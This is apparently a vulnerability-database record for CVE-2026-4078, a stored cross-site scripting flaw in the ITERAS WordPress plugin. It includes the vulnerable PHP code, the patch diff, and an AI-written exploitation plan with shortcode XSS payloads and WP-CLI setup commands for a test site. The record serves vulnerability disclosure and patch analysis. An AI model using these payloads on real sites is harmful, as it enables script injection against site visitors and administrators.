[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fUShD7ERuierOla1gpRsk719BsxPhkB1JE-cXqxTzvCc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-4078","iteras-authenticated-contributor-stored-cross-site-scripting-via-shortcode-attributes","ITERAS \u003C= 1.8.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes","The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple shortcodes (iteras-ordering, iteras-signup, iteras-paywall-login, iteras-selfservice) in all versions up to and including 1.8.2. This is due to insufficient input sanitization and output escaping in the combine_attributes() function. The function directly concatenates shortcode attribute values into JavaScript code within \u003Cscript> tags using double-quoted string interpolation (line 489: '\"'.$key.'\": \"'.$value.'\"') without any escaping. An attacker can break out of the JavaScript string context by including a double-quote character in a shortcode attribute value and inject arbitrary JavaScript. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","iteras",null,"\u003C=1.8.2","1.8.3","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-23 19:20:52","2026-04-24 07:45:08",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fbd034f43-370c-4ad9-ad02-4cae0f48d781?source=api-prod",1,[22,23,24,25,26,27,28],"README.txt","admin\u002Fiteras-admin.php","admin\u002Fviews\u002Fadmin.php","admin\u002Fviews\u002Fpost-meta-box.php","iteras.php","public\u002Fiteras-public.php","public\u002Fviews\u002Fbox.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-4078 (ITERAS \u003C= 1.8.2)\n\n## 1. Vulnerability Summary\nThe **ITERAS** plugin for WordPress is vulnerable to **Stored Cross-Site Scripting (XSS)** via several shortcodes: `[iteras-ordering]`, `[iteras-signup]`, `[iteras-paywall-login]`, and `[iteras-selfservice]`. \n\nThe vulnerability exists in the `combine_attributes()` function (located in `public\u002Fiteras-public.php`), which is used to transform shortcode attributes into a JavaScript object for the ITERAS API. The function improperly handles input by directly concatenating attribute values into a double-quoted JavaScript string context:\n`'\"'.$key.'\": \"'.$value.'\"'` (Source: CVE description, line 489).\n\nBecause the `$value` is not escaped or sanitized for a JavaScript string context, an attacker can use a double-quote (`\"`) to break out of the string and inject arbitrary JavaScript code.\n\n## 2. Attack Vector Analysis\n- **Authentication Level:** Contributor or higher. Contributors have the `edit_posts` capability, allowing them to create posts\u002Fpages and insert shortcodes.\n- **Affected Shortcodes:** \n    - `[iteras-ordering]`\n    - `[iteras-signup]`\n    - `[iteras-paywall-login]`\n    - `[iteras-selfservice]`\n- **Vulnerable Parameter:** Any arbitrary attribute key-value pair passed to these shortcodes (e.g., `[iteras-ordering x=\"PAYLOAD\"]`).\n- **Preconditions:** The plugin must be active. Some shortcodes may require the `profile_name` (ITERAS URL-id) to be configured in the plugin settings to trigger the rendering of the vulnerable `\u003Cscript>` tag.\n\n## 3. Code Flow\n1. **Entry Point:** A user with Contributor privileges creates or edits a post containing a shortcode like `[iteras-ordering x='\";alert(1)\u002F\u002F']`.\n2. **Shortcode Registration:** In `public\u002Fiteras-public.php`, the plugin registers shortcodes in the `__construct` method:\n   ```php\n   add_shortcode( 'iteras-ordering', array( $this, 'ordering_shortcode') );\n   ```\n3. **Shortcode Execution:** When the post is viewed, WordPress processes `the_content` filter, triggering `ordering_shortcode($atts)`.\n4. **Vulnerable Sink:** The callback (e.g., `ordering_shortcode`) passes the `$atts` array to the `combine_attributes()` function.\n5. **String Concatenation:** `combine_attributes()` iterates through the attributes and builds a string:\n   ```php\n   \u002F\u002F Vulnerable line (as identified in CVE)\n   $output .= '\"'.$key.'\": \"'.$value.'\"';\n   ```\n6. **Output:** The resulting string is wrapped in a `\u003Cscript>` tag and echoed to the page, executing the injected payload in the visitor's browser.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability involves **Stored XSS** through post content. \n- **Shortcode Rendering:** No nonce is required to trigger the rendering of a shortcode when viewing a page. \n- **Post Creation (Injection):** If using the WordPress Web UI to inject the shortcode, standard WordPress `_wpnonce` values for post creation\u002Fediting are required. However, the automated agent can bypass the Web UI by using **WP-CLI** to create the malicious post directly in the test environment.\n\n## 5. Exploitation Strategy\n1. **Setup Plugin Settings:** Configure dummy ITERAS settings to ensure the plugin attempts to render the API scripts.\n2. **Inject Payload:** Create a post as a Contributor containing the malicious shortcode.\n3. **Verify Execution:** Navigate to the post URL as an unauthenticated user or administrator and check for the execution of the injected script.\n\n### Payload Construction\nGiven the sink: `'\"'.$key.'\": \"'.$value.'\"'`\n- **Shortcode:** `[iteras-ordering x='\";alert(document.domain)\u002F\u002F']`\n- **Resulting JS snippet:** `..., \"x\": \"\";alert(document.domain)\u002F\u002F\"}`\n\n## 6. Test Data Setup\n1. **Configure Plugin:**\n   ```bash\n   wp option update iteras_settings '{\"profile_name\":\"vulnerable-test\",\"api_key\":\"dummy_key\",\"signing_key\":\"dummy_key\",\"paywalls\":[]}' --format=json\n   ```\n2. **Create Contributor User:**\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password\n   ```\n3. **Create Malicious Post:**\n   ```bash\n   wp post create --post_type=post --post_status=publish --post_title=\"ITERAS XSS Test\" --post_content='[iteras-ordering x=\"\\\";alert(document.domain)\u002F\u002F\"]' --post_author=$(wp user get attacker --field=ID)\n   ```\n\n## 7. Expected Results\n- When navigating to the newly created post, the HTML source should contain a `\u003Cscript>` tag associated with ITERAS.\n- Inside that script, the attribute `x` will contain the broken string: `\"x\": \"\";alert(document.domain)\u002F\u002F\"`.\n- A browser alert displaying the document domain should trigger.\n\n## 8. Verification Steps\n1. **Browser Verification:** Use `browser_navigate` to the post URL. Check if an alert was triggered using `browser_eval(\"window.confirm('Verification')\")` or by inspecting the console\u002FDOM.\n2. **Source Inspection:**\n   ```bash\n   # Using http_request to check for the raw payload in the response body\n   # Look for the specific pattern in script tags\n   grep -C 5 \"iteras\" \n   ```\n\n## 9. Alternative Approaches\nIf `[iteras-ordering]` fails to render due to missing API configurations, try `[iteras-signup]` or `[iteras-paywall-login]`. \nIf double-quotes are escaped by WordPress `the_content` filter (unlikely for shortcode attributes), try a payload using single quotes if the plugin logic allows it, or use HTML entities (though `combine_attributes` likely operates on the raw attribute array which should be unescaped at that stage).\n\n**Note on attribute keys:** The CVE mentions the `$key` is also concatenated. If `$value` is somehow sanitized, the `$key` might also be a viable injection point: `[iteras-ordering \";alert(1)\u002F\u002F=\"test\"]`.","The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in versions up to and including 1.8.2. This occurs because shortcode attributes are directly concatenated into a double-quoted JavaScript string context within \u003Cscript> tags without proper escaping, allowing attackers with Contributor-level access to inject arbitrary scripts.","\u002F\u002F public\u002Fiteras-public.php line 483\r\nprivate function combine_attributes($attrs) {\r\n    $transformed = array();\r\n\r\n    foreach ($attrs as $key => $value) {\r\n      if (is_array($value)) {\r\n        array_push($transformed, '\"'.$key.'\": '.json_encode($value));\r\n      }\r\n      elseif ($value) {\r\n        array_push($transformed, '\"'.$key.'\": \"'.$value.'\"');\r\n      }\r\n    }\r\n\r\n    if (empty($transformed))\r\n      return \"\";\r\n    else\r\n      return \", \".implode(\", \", $transformed);\r\n  }\r\n\r\n---\r\n\r\n\u002F\u002F public\u002Fiteras-public.php line 511\r\nfunction ordering_shortcode($attrs) {\r\n    \u002F\u002F automatically product prefill if GET-paramter is supplied\r\n    if (isset($_GET['orderproduct']) && !isset($_GET['prefill'])) {\r\n      $attrs['prefill'] = array(\"products\" => $_GET['orderproduct']);\r\n    }\r\n\r\n    return '\u003Cscript>\r\n      document.write(Iteras.orderingiframe({\r\n        \"profile\": \"'.$this->settings['profile_name'].'\"'.$this->combine_attributes($attrs).'\r\n      }));\u003C\u002Fscript>';\r\n  }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fiteras\u002F1.8.2\u002Fadmin\u002Fiteras-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fiteras\u002F1.8.3\u002Fadmin\u002Fiteras-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fiteras\u002F1.8.2\u002Fadmin\u002Fiteras-admin.php\t2025-02-07 12:33:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fiteras\u002F1.8.3\u002Fadmin\u002Fiteras-admin.php\t2026-04-16 07:30:54.000000000 +0000\n@@ -361,7 +361,7 @@\n       'user_url' => sanitize_text_field($_POST['user_url']),\n       'default_access' => sanitize_text_field($_POST['default_access']),\n       'paywall_display_type' => sanitize_text_field($_POST['paywall_display_type']),\n-      'paywall_box' => stripslashes($_POST['paywall_box']),\n+      'paywall_box' => wp_kses_post(wp_unslash($_POST['paywall_box'])),\n       'paywall_snippet_size' => sanitize_text_field($_POST['paywall_snippet_size']),\n       'paywall_integration_method' => sanitize_text_field($_POST['paywall_integration_method']),\n       'paywall_server_side_validation' => isset($_POST['paywall_server_side_validation']),\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fiteras\u002F1.8.2\u002Fpublic\u002Fiteras-public.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fiteras\u002F1.8.3\u002Fpublic\u002Fiteras-public.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fiteras\u002F1.8.2\u002Fpublic\u002Fiteras-public.php\t2026-01-20 15:09:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fiteras\u002F1.8.3\u002Fpublic\u002Fiteras-public.php\t2026-04-16 07:30:54.000000000 +0000\n@@ -483,10 +480,10 @@\n \n     foreach ($attrs as $key => $value) {\n       if (is_array($value)) {\n-        array_push($transformed, '\"'.$key.'\": '.json_encode($value));\n+        array_push($transformed, json_encode($key).': '.json_encode($value));\n       }\n       elseif ($value) {\n-        array_push($transformed, '\"'.$key.'\": \"'.$value.'\"');\n+        array_push($transformed, json_encode($key).': '.json_encode($value));\n       }\n     }\n \n@@ -511,12 +508,12 @@\n   function ordering_shortcode($attrs) {\n     \u002F\u002F automatically product prefill if GET-paramter is supplied\n     if (isset($_GET['orderproduct']) && !isset($_GET['prefill'])) {\n-      $attrs['prefill'] = array(\"products\" => $_GET['orderproduct']);\n+      $attrs['prefill'] = array(\"products\" => sanitize_text_field(wp_unslash($_GET['orderproduct'])));\n     }\n \n     return '\u003Cscript>\n       document.write(Iteras.orderingiframe({\n-        \"profile\": \"'.$this->settings['profile_name'].'\"'.$this->combine_attributes($attrs).'\n+        \"profile\": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).'\n       }));\u003C\u002Fscript>';\n   }\n \n@@ -524,7 +521,7 @@\n   function signup_shortcode($attrs) {\n     return '\u003Cscript>\n       document.write(Iteras.signupiframe({\n-        \"profile\": \"'.$this->settings['profile_name'].'\"'.$this->combine_attributes($attrs).'\n+        \"profile\": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).'\n       }));\u003C\u002Fscript>';\n   }\n \n@@ -548,7 +545,7 @@\n     else {\n       return '\u003Cscript>\n       document.write(Iteras.paywalliframe({\n-        \"profile\": \"'.$this->settings['profile_name'].'\"'.$this->combine_attributes($attrs).'\n+        \"profile\": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).'\n       }));\u003C\u002Fscript>';\n     }\n   }\n@@ -558,7 +555,7 @@\n   function selfservice_shortcode($attrs) {\n     return '\u003Cscript>\n       document.write(Iteras.selfserviceiframe({\n-        \"profile\": \"'.$this->settings['profile_name'].'\"'.$this->combine_attributes($attrs).'\n+        \"profile\": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).'\n       }));\u003C\u002Fscript>';\n   }","The exploit requires an attacker to have at least Contributor-level privileges to create or edit a post. The attacker inserts one of the affected shortcodes (e.g., [iteras-ordering]) with a malicious attribute value designed to break the JavaScript context. A payload such as [iteras-ordering x='\";alert(1)\u002F\u002F'] results in the plugin generating a script tag where the attribute 'x' is defined as \"\", followed by the injected JavaScript alert(1), and finally comments out the remainder of the intended string. When a victim (including an administrator) views the post, the injected JavaScript executes in their browser context.","gemini-3-flash-preview","2026-04-27 13:29:59","2026-04-27 13:30:29",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.8.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fiteras\u002Ftags\u002F1.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fiteras.1.8.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fiteras\u002Ftags\u002F1.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fiteras.1.8.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fiteras\u002Ftags"]